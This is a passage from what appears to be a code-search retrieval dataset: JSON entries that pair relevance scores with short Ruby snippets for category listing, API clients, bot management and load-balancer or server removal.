new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "d13508c72c4927514c7a40dc75043209", "score": "0.59107614", "text": "def show\n @category = Category.includes(:tweets).\n order('tweets.tweeted_at desc').find(params[:id])\n respond_with(@category)\n end", "title": "" }, { "docid": "094fa59fcabbe27ff9c2f1b71afe5afa", "score": "0.59084153", "text": "def category(id = nil)\n res = Connection.get('categories', id)\n id.nil? ? Category.all(res) : Category.new(res)\n end", "title": "" }, { "docid": "f3429100ef17c25761c158c6e56f863a", "score": "0.58971995", "text": "def index\n @categories = Category.all\n @categories= @categories.sort_by(&:name)\n render json: @categories\n end", "title": "" }, { "docid": "7659e0e2ef72a446ad5a9c065c624e78", "score": "0.5892784", "text": "def index\n @api_v1_group_categories = Api::V1::GroupCategory.all\n end", "title": "" }, { "docid": "6662e1f9f7fcc70ba39f6355c7449884", "score": "0.58830625", "text": "def index\n @business_event_categories = BusinessEventCategory.all\n render json: @business_event_categories, status: 200\n end", "title": "" }, { "docid": "a01f4a4692ab9441b0055c0d5e72a0f1", "score": "0.58830357", "text": "def meal_categories\n # API EXAMPLE: https://www.themealdb.com/api/json/v1/1/list.php?c=list\n content = api_call('list.php?c=list')\n validate(content)\n content\n end", "title": "" }, { "docid": "8903e2895edf164891b63a93ddeba818", "score": "0.5882428", "text": "def index\n offer_categories = Offer.where(name: params[:offer_name])\n .joins(:categories).pluck('DISTINCT(categories.name)')\n\n respond_with offer_categories\n end", "title": "" }, { "docid": "933ae29f761233b99044374507a20333", "score": "0.58738863", "text": "def get_categories\n @categories = Category.all(:include => :products)\n @products_total = Product.count\n @category = Category.find(params[:category_id]) unless params[:category_id].nil?\n end", "title": "" }, { "docid": "2aee50874e20972de4574a9c5c699f6c", "score": "0.5872193", "text": "def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end", "title": "" }, { "docid": "4d61eebcb066bfa09c02da8f7a3b6759", "score": "0.5871699", "text": "def index\n\t\tcreator_categories\n\tend", "title": "" }, { "docid": "f4523623f09daf11d795732f8b220735", "score": "0.5866179", "text": "def index\n @categories = Category.order(\"name ASC\")\n @latest_reviews = Review.limit(3).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "86b5f31fb11784a4faa4113aa467c7ef", "score": "0.5860844", "text": "def return_categories(key)\n if $redis.exists(key)\n categories = JSON.parse($redis.get(key))\n categories\n else\n data = fetch_categories()\n current_categories = []\n data.each do |child|\n add_category(key, child, current_categories)\n end\n return_categories(key)\n end\nend", "title": "" }, { "docid": "6131f5160f994a82778b8629ca600584", "score": "0.5859761", "text": "def fetch_all_categories\n everything = @@news_api.get_everything(\n language: 'en',\n sources:'techcrunch,talksport,the-next-web,\n national-geographic, al-jazeera-english,\n crypto-coins-news',\n page: 1\n )\n end", "title": "" }, { "docid": "2d589f13d5b28472e1bbb0d7001d4288", "score": "0.5854092", "text": "def index\n respond_to do |format|\n format.html { @categories = Category.all }\n format.json { @categories = Category.order(:name) }\n end\n end", "title": "" }, { "docid": "c432ab9a5bc207d8baa2bc0ccddad91f", "score": "0.58527434", "text": "def getCategories\n @categories = []\n @categories << Category.new(name: \"All\", id: -1)\n @categories += Category.all\n end", "title": "" }, { "docid": "f4d23fabc77b2d1894fbd2f70108fd94", "score": "0.5852207", "text": "def index\n respond_with Category.all\n end", "title": "" }, { "docid": "a3037d81cb9f1d086b37b371f9e09664", "score": "0.58484966", "text": "def all(params = {})\n handle_all_request(\"/categories\", :categories, params)\n end", "title": "" }, { "docid": "a4589a851162ad5b598f776480e12d9a", "score": "0.58451355", "text": "def get_categories_with_http_info(accept, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # verify the required parameter 'accept' is set\n fail ArgumentError, \"Missing the required parameter 'accept' when calling CategoriesApi.get_categories\" if accept.nil?\n # resource path\n local_var_path = \"/categories\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n header_params[:'Accept'] = accept\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Categories>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "6b3af64401f3db3f1109787acba39655", "score": "0.58440214", "text": "def categories_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OtherApi.categories_list ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Category>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OtherApi#categories_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a6c74658161d3632186c39d897ff4a11", "score": "0.58358276", "text": "def respond_with_categories(params)\n channel_id = params[:channel_id]\n key = \"current_categories:#{channel_id}\"\n categories = return_categories(key)\n response = stringify_remaining_questions(categories)\n response\nend", "title": "" }, { "docid": "c49750eeb9fab4faa0345741499bd5b1", "score": "0.58307207", "text": "def get_categories(accept, opts = {})\n data, _status_code, _headers = get_categories_with_http_info(accept, opts)\n return data\n end", "title": "" }, { "docid": "f65cefaf02396ed89538353b1b0fc996", "score": "0.5826763", "text": "def category category_id\n perform_get_with_object(\"/categories/#{category_id}\", {}, Vimeo::Entities::Category)\n end", "title": "" }, { "docid": "8bfa28feedd3792c91188eb9debf0f56", "score": "0.5823635", "text": "def all_categories\n end", "title": "" }, { "docid": "1d581c307dc935ddfff6b0c843819442", "score": "0.5813159", "text": "def index\n @categories = Category.all\n respond_with(@categories)\n end", "title": "" }, { "docid": "c9cfb623ae261dfd7781fa9751771444", "score": "0.58078873", "text": "def show\n render json: @category, callback: params[:callback]\n end", "title": "" }, { "docid": "aba80f5c6e186fa077097c8789086161", "score": "0.5805173", "text": "def index\n render json: @owner.cats\n end", "title": "" }, { "docid": "0cf0877a696e729286470be6aea21ea9", "score": "0.5803397", "text": "def getAllCategories(community_id, params)\n url_base = URI_BASE + \"/api/v1/communities/#{community_id}/categories\"\n makeGetCall(url_base, nil, params)\n end", "title": "" } ]
9f2a4305718c9376a69d7a39783ecbe6
Removes boost from a selected bot/server
[ { "docid": "71a2ec92f51f99783bedf3a512cb10fc", "score": "0.72343606", "text": "def delete_boost(id, type = :bot)\r\n DList._validate_id id\r\n raise DList::Error, DList::Errors::TYPE_NOT_ALLOWED unless DList::User::Client::ALLOWED_TYPES.include?(type)\r\n\r\n DList._delete(\"/#{type}s/#{id}/boost\", nil, @token)\r\n true\r\n end", "title": "" } ]
[ { "docid": "e257ef1ebecc70a65a4b758717ed856a", "score": "0.63256526", "text": "def deactivate_boost(stateid)\n @act_boosts = [] if @act_boosts.nil?\n @act_boosts.delete(stateid)\n end", "title": "" }, { "docid": "948aac0f3dfe831ec0d368239bd50b68", "score": "0.6269274", "text": "def remove_bid(client_lpar)\n execute_cmd \"nim -F -o remove #{client_lpar.name}_bid\"\n #execute_cmd \"nim -F -o remove #{client_lpar}_bid\"\n end", "title": "" }, { "docid": "5183c13df6f028c5138364cffdbe5e4d", "score": "0.6081851", "text": "def remove_robot\n #TODO\n end", "title": "" }, { "docid": "d80b41528cbd359d649929fc3a413b91", "score": "0.59393924", "text": "def toggle_boost(boost)\n if boost_activated?(boost.id)\n deactivate_boost(boost.id)\n else\n activate_boost(boost.id)\n end\n end", "title": "" }, { "docid": "864223a139845026fdee88fb3953230b", "score": "0.5827816", "text": "def delete_blast(blast_id)\n api_delete(:blast, {:blast_id => blast_id})\n end", "title": "" }, { "docid": "6b97f335d13d102936034bcec8339150", "score": "0.5748978", "text": "def remove_boost from:, set_by:\n named_percent_hash = @boosts[from][:percent]\n named_points_hash = @boosts[from][:points]\n\n named_percent_hash.each do |name, modifier|\n if name == set_by\n named_percent_hash.delete name\n end\n end\n\n named_points_hash.each do |key, modifier|\n if key == set_by\n named_points_hash.delete key\n end\n end\n end", "title": "" }, { "docid": "4912ffe87246a56ea918b1c0b2b7df7d", "score": "0.5657293", "text": "def remove_scrobble( params )\n LastFM.requires_authentication\n LastFM.post( \"library.removeScrobble\", params )\n end", "title": "" }, { "docid": "065f037feef23e43cd0230c4fddaa047", "score": "0.5643596", "text": "def remove(bot)\n bot.group = nil\n bot.remove_all_rooms()\n @bots.delete(bot)\n\n if [email protected]?\n @store.transaction do\n @store.delete(bot.basename)\n end\n end\n end", "title": "" }, { "docid": "0f3d1e97064f2b7c73e7857a5866b721", "score": "0.561825", "text": "def remove_machine(opts = {})\n backend_name = opts.fetch(:backend, 'default')\n dryrun = opts.fetch(:dryrun, false)\n hostname = opts.fetch(:hostname)\n app_id = opts.fetch(:app_id)\n\n if app = Boxcutter::LoadBalancer::Application.find(app_id)\n\n app.services.each do |service|\n service.each_backend_named(backend_name) do |backend|\n backend.each_machine_named(hostname) do |machine|\n log \"Removing #{machine} from #{backend}\"\n\n unless dryrun\n response = machine.remove!\n log \"Response was: #{response.body}\"\n else\n log \"#{hostname} was not removed from the backend because --dryrun was specified\"\n end\n end\n end\n end\n else\n log \"Could not find application '#{app_id}'\"\n end\n end", "title": "" }, { "docid": "f302ec536281d14247a6d6a386c1254d", "score": "0.55145335", "text": "def remove(reason = nil)\n @server.unban(user, reason)\n end", "title": "" }, { "docid": "f302ec536281d14247a6d6a386c1254d", "score": "0.55145335", "text": "def remove(reason = nil)\n @server.unban(user, reason)\n end", "title": "" }, { "docid": "81267fc10be19903fc7beb0d0bf2286b", "score": "0.5487303", "text": "def destroy\n @used_bike_model.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "395d1aa8331b0695422a493d6ff6c86f", "score": "0.54519093", "text": "def remove_from_blacklist(word)\n params = {\n :method => WebPurify::Constants.methods[:remove_from_blacklist],\n :word => word\n }\n parsed = WebPurify::Request.query(text_request_base, @query_base, params)\n return parsed[:success]=='1'\n end", "title": "" }, { "docid": "71c005176d0ac9ac379d5d9d7f7d6571", "score": "0.5390163", "text": "def destroy!\n response = @connection.lbreq(\"DELETE\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@load_balancer.id.to_s)}/connectionthrottle\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n @enabled = false\n true\n end", "title": "" }, { "docid": "8dc4bc0307b0d0dc4f69a1d8d6e915a6", "score": "0.5370285", "text": "def remove\n @basket.authtest\n @basket.remove(__getobj__)\n end", "title": "" }, { "docid": "da581cee78c3f0b2d034da180e844688", "score": "0.53679514", "text": "def deactivate_reactor()\n start.uri('/api/reactor')\n .delete()\n .go()\n end", "title": "" }, { "docid": "f53857f677a1c00af83767e18d3b0b38", "score": "0.53660905", "text": "def removeBet(index)\n \t@picks_id.delete_at(index)\n\t @picks_odds.delete_at(index)\n\t\[email protected]_at(index)\n\t\[email protected]_at(index)\n\t\t@picks_name.delete_at(index)\n end", "title": "" }, { "docid": "17a00c35724a8af496bae1ac7b864b7a", "score": "0.5363393", "text": "def destroy_bot(bot)\n post('/bots/destroy', bot_id: extract_id(bot))\n end", "title": "" }, { "docid": "7ccd89583e46b4821a87f66ef88ba66f", "score": "0.53459823", "text": "def aws_delete_elb(elbname)\n AWSELB.connect() do |sock|\n sock.delete_load_balancer(elbname)\n end\nend", "title": "" }, { "docid": "7eb8d72732752d1f670fd1c76b90e602", "score": "0.5338452", "text": "def unban\n @banned.clear\n end", "title": "" }, { "docid": "35ca9a28f66fba30fa52b61a30f78bb1", "score": "0.5338218", "text": "def remove(server)\n close_clients!(server)\n servers.delete_if{ |s| s.seed == server.seed }\n end", "title": "" }, { "docid": "eeb9f607b175fe2d7686c20ffe2196ef", "score": "0.5335992", "text": "def remove\n if @args[1].nil?\n puts \" You must include a server number to remove. `rush list` to see all servers.\\n\\n\"\n exit 0\n end\n \n removed_server = @servers.delete_at(@args[1].to_i-1)\n save\n \n puts \" Server \\\"#{removed_server['name']}\\\" removed.\\n\"\n end", "title": "" }, { "docid": "545e9e42398102407c1dcfeab79fc09b", "score": "0.5327765", "text": "def rm_all_bottles\n Formula.new update(\n @ast,\n bot_begin_path,\n rm_all_bottle_sha256s)\n end", "title": "" }, { "docid": "1daf0fa3f81aabf7491ddb020cc55bd7", "score": "0.5315769", "text": "def unbind\n puts \"Unbound from Backend!\"\n if @associate\n if [email protected] or @content_length\n @associate.close_connection_after_writing\n else\n @associate.associate = nil\n @associate.setup_for_redeployment\n ProxyBag.rebind_frontend_client(@associate)\n end\n else\n ProxyBag.remove_server(self)\n end\n ProxyBag.remove_id(self)\n end", "title": "" }, { "docid": "f45d78610ecdbbac89981105ff217d57", "score": "0.5290202", "text": "def unbind\n @client.handle_abort\n @@connections.delete self\n end", "title": "" }, { "docid": "383a72438cdc2732b7edbd60f1d55874", "score": "0.5246056", "text": "def discardShieldBooster(i)\n\t\tsize = @shieldBoosters.length\n\t\tif i >= 0 && i < size\n\t\t\ts = @shieldBoosters.delete_at(i)\n\t\t\tif [email protected]?\n\t\t\t\[email protected]\n\t\t\t\tcleanPendingDamage\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "0584c939089e0d37c7611937cdc8223a", "score": "0.5240158", "text": "def unbind\n #@node.notifiers.unsubscribe(@notify_sid) if @notify_sid\n @node.command_connections.delete(self)\n end", "title": "" }, { "docid": "05f8e0f33fee9fb350c13914739608d8", "score": "0.5237328", "text": "def remove_nginx_server\n run \"rm #{File.join(SERVERS_DIR, project_name)}\"\n end", "title": "" }, { "docid": "2ad7d335315a2ab7cd6abbd938cb48d9", "score": "0.52346456", "text": "def cancel_blast(blast_id)\n api_post(:blast, {:blast_id => blast_id, :schedule_time => ''})\n end", "title": "" }, { "docid": "b34ea83661cb1b95a03ce8bcb1e86a33", "score": "0.52331513", "text": "def unstick\n untag CLIENT_STICKY_TAG\n end", "title": "" }, { "docid": "ae5ef4e9cc3c5dcd4eda663c546f21de", "score": "0.5231733", "text": "def stop_bots\n data = { :account => Encryptor.encrypt({:account_id => id}.to_json, :key => $secret_key) }\n RestClient.post \"#{$service_url}/api/bot/stop_account_bots\", data, { :content_type => :json, :accept => :json }\n rescue => error\n { :status => :error, :message => error.to_s }\n end", "title": "" }, { "docid": "15c8943c483343a86428963691d07190", "score": "0.5222292", "text": "def rm_all_bottle_sha256s\n -> (bot_begin) {\n bot_begin.updated(\n nil, # keep the node type unchanged\n bot_begin.children.reject(\n # Get ride of all bottles condtionlessly\n &by_msg('sha256')))\n }\n end", "title": "" }, { "docid": "7f177ac5836398868274cbc0500db35a", "score": "0.5220335", "text": "def release(bike)\n @bikes.delete bike\n end", "title": "" }, { "docid": "8e4d98b100f47b19f319e6a51a278630", "score": "0.5220215", "text": "def removal()\n @contagious_pool -= 1\n @currently_infected -= 1\n end", "title": "" }, { "docid": "bc9f0df28fad939d8c827f35d4e91dfa", "score": "0.52195805", "text": "def restart(bot_name)\n deprecate # 07/31/2012\n delete(\"/bots/#{bot_name}/server\").to_s\n end", "title": "" }, { "docid": "f720c9dad71989a9b742053684e10f3e", "score": "0.5217671", "text": "def destroy\n @bowler.destroy\n head :no_content\n end", "title": "" }, { "docid": "0821a405979e7da1f1223708fe32e104", "score": "0.521145", "text": "def remove_vehicle(vehicle)\n vehicle = Vehicle.find(vehicle)\n vehicle.delete!\n end", "title": "" }, { "docid": "72d8c06a950b7b534f7267c0edb85be9", "score": "0.5210522", "text": "def remove_clothes\n load.remove_from_machine!(self)\n self.update(load: nil)\n end", "title": "" }, { "docid": "4bc3a7ead1dffd7382edd834b54abfac", "score": "0.5204491", "text": "def remove_spot(spot_name)\n execute_cmd(\"nim -Fo remove #{spot_name}\")\n end", "title": "" }, { "docid": "15ea7da685837cf9fe52f9de2870d172", "score": "0.5203325", "text": "def release_available\n\t\traise \"No bikes for you\" if available_bikes == []\n\t\tbikes.delete(available_bikes.pop)\n\tend", "title": "" }, { "docid": "a95b9e431dcedfd20734a31016017513", "score": "0.52019083", "text": "def discardShieldBooster(i)\n size = @shieldBoosters.length\n \n if i >= 0 && i < size\n @shieldBoosters.delete_at(i)\n if @pendingDamage != nil\n @pendingDamage.discardShieldBooster\n cleanPendingDamage\n end\n end\n end", "title": "" }, { "docid": "316932015c65596ddf6181b3b10a5991", "score": "0.5194038", "text": "def unbind\n Logger.warn '-- Peer connection lost: '+ self.to_s\n Hive::Executor::Server.workers.delete(self)\n end", "title": "" }, { "docid": "bfcf7ebcdd6f43f41004aa26a594f41e", "score": "0.5192903", "text": "def destroy!\n response = @connection.lbreq(\"DELETE\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@load_balancer.id.to_s)}/nodes/#{CloudLB.escape(@id.to_s)}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n true\n end", "title": "" }, { "docid": "793315ae534f2efb7e2d28501d2de854", "score": "0.5190326", "text": "def reset_db\n\tdb = Mysql::new(\"localhost\", ENV['DBUSER'], ENV['DBPASS'], \"neurobots\")\n\tdb.query(\"delete from synergy_running_bots where controller='#{CONTROLLER}' and thread='#{THREAD}'\")\nend", "title": "" }, { "docid": "33f42d1cdd24a065726a72c498765288", "score": "0.5186367", "text": "def destroy(name)\n deprecate # 07/26/2012\n delete(\"/bots/#{name}\").to_s\n end", "title": "" }, { "docid": "a8ddeb409f0a7fcc44754c2341617a3e", "score": "0.5170414", "text": "def remove_item(bag, item)\n if ! Chef::DataBag.load('edb_keys')[bag]\n ui.warn(\"No such edb: #{bag}/#{item}\")\n return\n end\n db = Chef::DataBagItem.load('edb_keys', bag)\n entry = db['keys']\n if entry and entry[item]\n entry.delete(item)\n if entry.empty?\n Chef::DataBagItem.load(\"edb_keys\", bag).destroy(\"edb_keys\", bag)\n else\n db.save\n end\n else\n ui.warn(\"No such edb: #{bag}/#{item}\")\n end\n set_trigger\n end", "title": "" }, { "docid": "c1b01d0ebf368f134c6397005d7f3d23", "score": "0.51694864", "text": "def remove(seed)\n server = servers.delete_if{ |server| server.seed == seed }.first\n if server\n server.stop\n manager.remove(server)\n end\n self\n end", "title": "" }, { "docid": "e1f1c35595b508793fe56c2408017f12", "score": "0.51571405", "text": "def remove_guild_ban(guild_id, user_id, reason: nil)\n route = Route.new(:DELETE, '/guilds/%{guild_id}/bans/%{user_id}', guild_id: guild_id, user_id: user_id)\n request(route, reason: reason)\n end", "title": "" }, { "docid": "1034c34f407095f3e06409ba3e07cee1", "score": "0.515619", "text": "def delete\n API.delete_server(@bot.token, @id)\n end", "title": "" }, { "docid": "b0db031ae1cd3bde33940908a74fc896", "score": "0.5152523", "text": "def remove_client(client)\n CLIENTS.delete client\n puts 'connection closed'\n end", "title": "" }, { "docid": "d62e7f756d8ecd24368e69f183507915", "score": "0.5149439", "text": "def unreg(target)\n @thrQueue.delete(target)\n end", "title": "" }, { "docid": "62d8ee2eb27f76b8d95562b02e53955b", "score": "0.51481235", "text": "def removepillier my_coldbridge\n my_coldbridge.pop\nend", "title": "" }, { "docid": "03731c48dc52526c66a7974472837866", "score": "0.51438683", "text": "def release_bike\n # Create a variable = Instantiation of class to be returned\n raise \"No bikes available\" if empty?\n @bike_rack.pop\n end", "title": "" }, { "docid": "71d007426313f01d4866620a642b91ba", "score": "0.5143301", "text": "def remove_kill\n @kills -= 1\n end", "title": "" }, { "docid": "a25376419292be0b03058f26e352a4c3", "score": "0.5138097", "text": "def unlink\n if not @gazelle.nil?\n @socket.progress &DUMMY_PROGRESS # unlink the progress callback (prevent funny business)\n @gazelle.discard(self)\n @gazelle = nil\n @state = nil\n end\n end", "title": "" }, { "docid": "38ccf055a813f42800fda512ed3514c7", "score": "0.51368415", "text": "def boost\n \"^#{Settings.BBOX_WITHIN_BOOST || '10'}\"\n end", "title": "" }, { "docid": "d8a48682929089b9f99772f41e88f13f", "score": "0.5134859", "text": "def remove\n unless args[0]\n error(\"No branch specified.\\nUsage: heroku target:remove BRANCH\")\n end\n git(\"config --unset branch.#{args[0]}.heroku\")\n end", "title": "" }, { "docid": "6e045a6c9ae098180440c9882d805654", "score": "0.51346594", "text": "def unbind(reason=nil)\n RFlow.logger.debug { \"#{self.class.name}: Disconnected from HTTP client #{client_ip}:#{client_port}#{reason.nil? ? '' : \" due to '#{reason}'\"}\" }\n server.connections.delete(self.signature.to_s)\n super()\n end", "title": "" }, { "docid": "1334aadcae89d61623f3787c94c28c6b", "score": "0.5129443", "text": "def destroy\n connection.delete(path_prefix).body['client']\n end", "title": "" }, { "docid": "2fb1c429824ff4c69b46793ed2691123", "score": "0.5122835", "text": "def remove_client(client_lpar)\n deallocate_resources(client_lpar)\n execute_cmd \"nim -F -o remove #{client_lpar.name}\"\n end", "title": "" }, { "docid": "1b27d6a9a48356ce79cdd6fc071c385b", "score": "0.5118778", "text": "def destroy\n @selected_bot.destroy\n respond_to do |format|\n format.html { redirect_to selected_bots_url, notice: 'La sélection a été supprimée.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "374f62a7ca64a9c82e53d4a2d11a00c1", "score": "0.5118201", "text": "def destroy\n if current_user.is_not_staff?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @bike_brand = BikeBrand.find(params[:id])\n @bike_brand.destroy\n\tfor i in BikeModel.where(:brand_id => params[:id])\n\t\ti.destroy\n\tend\n\t\n respond_to do |format|\n format.html { redirect_to bike_brands_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f3336a5a4ff38557d60f2a581d3cc850", "score": "0.511813", "text": "def remove(index, engine)\n servers = engine.servers.reject{ |server| server == self }\n\n # TODO: Don't know if this is right?\n self.nodes.each do |k, v|\n server = engine.find_server(k, {:ignore => self})\n p server.name\n server.nodes.merge!({k => v})\n end\n\n self.next.prev = self.prev\n self.prev.next = self.next\n\n @engine.servers.delete_at(index)\n end", "title": "" }, { "docid": "a01aebd9ad5798561af84c51182cda17", "score": "0.51160187", "text": "def unload!\n event_handlers = @component.instance_variable_get('@event_handlers') || {}\n commands = @component.instance_variable_get('@commands') || {}\n buckets = @component.instance_variable_get('@buckets') || {}\n\n # Removing itself from the bot:\n bot = @hot_loader.bot\n event_handlers.values.flatten.each { |handler| bot.remove_handler(handler) }\n commands.keys.each { |name| bot.remove_command(name) }\n buckets.keys.each { |key| bot.instance_variable_get('@buckets')&.delete(key) }\n\n # Cleaning the ruby module:\n @component.remove_instance_variable('@event_handlers') rescue nil\n @component.remove_instance_variable('@commands') rescue nil\n @component.remove_instance_variable('@buckets') rescue nil\n @component.remove_instance_variable('@dependencies') rescue nil\n end", "title": "" }, { "docid": "64425d000c18410ac4c2a2e7132ef3e8", "score": "0.5105323", "text": "def remove\n client do |client|\n client.stop\n sleep 0.1 while stopping?\n client.clear\n end\n self\n end", "title": "" }, { "docid": "23bb43018eb7cff4062965333077fd84", "score": "0.5104366", "text": "def remove_from_the_system_anyway\n\n end", "title": "" }, { "docid": "be3b782a3e89d8d51eac73fc0ad0358f", "score": "0.5102445", "text": "def remove_bart_station_names\n\t\t@stations = Bartstation.all\n\t\[email protected] do |station|\n\t\t\tstation.destroy\n\t\tend\n\tend", "title": "" }, { "docid": "ab4f616484137296ea14275f855046b9", "score": "0.51023227", "text": "def removeReference( tid, oid, referenceName, index )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( tid )\n #BIMserverAPI::TypeCheck::Long( oid )\n #BIMserverAPI::TypeCheck::String( referenceName )\n #BIMserverAPI::TypeCheck::Integer( index )\n\n # BIMserver request\n request( { tid: tid, oid: oid, referenceName: referenceName, index: index } )\n end", "title": "" }, { "docid": "0f85e950c1e6400f36611ae28ca2808e", "score": "0.5097317", "text": "def unbind_backend(respond)\r\n @open.delete(respond)\r\n close_backend_connections if @open.empty? and @pending.empty?\r\n end", "title": "" }, { "docid": "3fa33c5a24bea5639f31cf3781c91e19", "score": "0.5092038", "text": "def reset_bots\n @bots = nil\n @bot = nil\n @bots_config = nil\n end", "title": "" }, { "docid": "9faf8871027798c7b6e394f679962f6b", "score": "0.5091472", "text": "def unbind\n @@client_count -= 1\n Hook.call(:unbind, self)\n Hook.call(:detached, self) if @@client_count.zero?\n end", "title": "" }, { "docid": "76bab807997e5aa4653709b523cc4122", "score": "0.50895995", "text": "def removefrom\n\t@bag = Bag.where(:user_id => current_user.id).first\n\t@item = Item.find(params[:id])\n\[email protected](@item)\n respond_to do |format|\n if @bag.save\n\t\[email protected]_attribute(:status, 'active')\n format.html { redirect_to bag_path(current_user), notice: 'Item was successfully deleted from your bag.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc1b9e89cf3f32d666c4953a801edf78", "score": "0.50854874", "text": "def remove_server server_id\n end", "title": "" }, { "docid": "a040904c0923ee865f4bc060767a3c84", "score": "0.50848025", "text": "def removeOpenBet(bet_id)\n @betsHistory.delete(bet_id)\n end", "title": "" }, { "docid": "182fe05014dd2a16b865bbdd213f5225", "score": "0.5082285", "text": "def stop_bots\n data = { :user => Encryptor.encrypt({:user_id => id}.to_json, :key => $secret_key) }\n RestClient.post \"#{$service_url}/api/bot/stop_user_bots\", data, { :content_type => :json, :accept => :json }\n rescue => error\n { :status => :error, :message => error.to_s }\n end", "title": "" }, { "docid": "6151495c3012019a687390460c29dba0", "score": "0.50745904", "text": "def destroy\n @boost_vib_l_ind.destroy\n respond_to do |format|\n format.html { redirect_to boost_vib_l_inds_url, notice: 'Boost vib l ind was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b0728b33bd6b43fd8b49566e3b7b2db1", "score": "0.50715894", "text": "def destroy\n @bounty = Bounty.find(params[:id])\n @bounty.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_bounties_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d775465b7f62f074cf6d08453f6e7e91", "score": "0.5069453", "text": "def remove_branch\n log \"removing local and remote feature branches\"\n branch = current_branch\n git \"push origin :#{branch}\", :raise_error => false\n git \"checkout master\"\n git \"branch -D #{branch}\"\n end", "title": "" }, { "docid": "0c544f0070466eb221a5542d463e24a7", "score": "0.5065715", "text": "def shutdown!\n @scoreboard_timer.stop\n Rubicon.servers.delete @config[:name]\n @connection.close_connection\n end", "title": "" }, { "docid": "6af781b95333399169ef8171000c58cc", "score": "0.5063179", "text": "def delCookbook(cb)\n begin\n FS.cmd(\"cd #{@wd} && knife cookbook delete #{cb.name} #{cb.version} -y\" )\n rescue CmdError => e\n Gitchefsync.logger.error \"event_id=cb_del:#{e.message}:e=#{e.backtrace}\"\n end\n end", "title": "" }, { "docid": "228a4f738d7df35a3235bede57253b5f", "score": "0.5061806", "text": "def unbind\r\n WinRM::Log.debug(\"#{@host} => :unbind\")\r\n @master.unbind_backend(@host)\r\n end", "title": "" }, { "docid": "ff5948543082e9c4528060c9bc0a9558", "score": "0.5060858", "text": "def remove_word(command_parts)\n type = command_parts.shift\n name = command_parts.shift\n record_class = type.capitalize.constantize\n sleep 1; # wait until server creates record\n matching_record = record_class.first(name: name)\n matching_record&.destroy\n Lexicon.reload\n Lexicon.copy_self_to(verbs: VerbLexicon, nouns: NounLexicon)\n \"#{matching_record&.attributes} \".gsub(\"\\n\", \" \")\n end", "title": "" }, { "docid": "6370e8a09d1ce90e2ff105cc2f2767f5", "score": "0.50577193", "text": "def delete\n API::Server.delete(@bot.token, @id)\n end", "title": "" }, { "docid": "6370e8a09d1ce90e2ff105cc2f2767f5", "score": "0.50577193", "text": "def delete\n API::Server.delete(@bot.token, @id)\n end", "title": "" }, { "docid": "436967e74b9b61340466b5b239bb363b", "score": "0.50556844", "text": "def remove_regen_mobile(mobile)\r\n @regen_mobs.delete(mobile)\r\n return\r\n end", "title": "" }, { "docid": "7f1ae27b7157798ad82003e08568f2e4", "score": "0.5048659", "text": "def discardShieldBoosterInHangar(i)\n\t\tif [email protected]?\n\t\t\[email protected](i)\n\t\t#else\n\t\t#\traise \"WARNING! Trying to discard a shield booster where no hangar is available, at SpaceStation.discardShieldBoosterInHangar()\"\n\t\tend\n\tend", "title": "" }, { "docid": "ad7675c19fdfc9e14722d261c8f4f8cc", "score": "0.50468165", "text": "def del_ban(mask, type)\n b = parse_ban(mask)\n\n if type == 'b'\n @bans.delete(b)\n elsif type == 'e'\n @exempts.delete(b)\n else\n raise(ArgumentError, \"Invalid ban 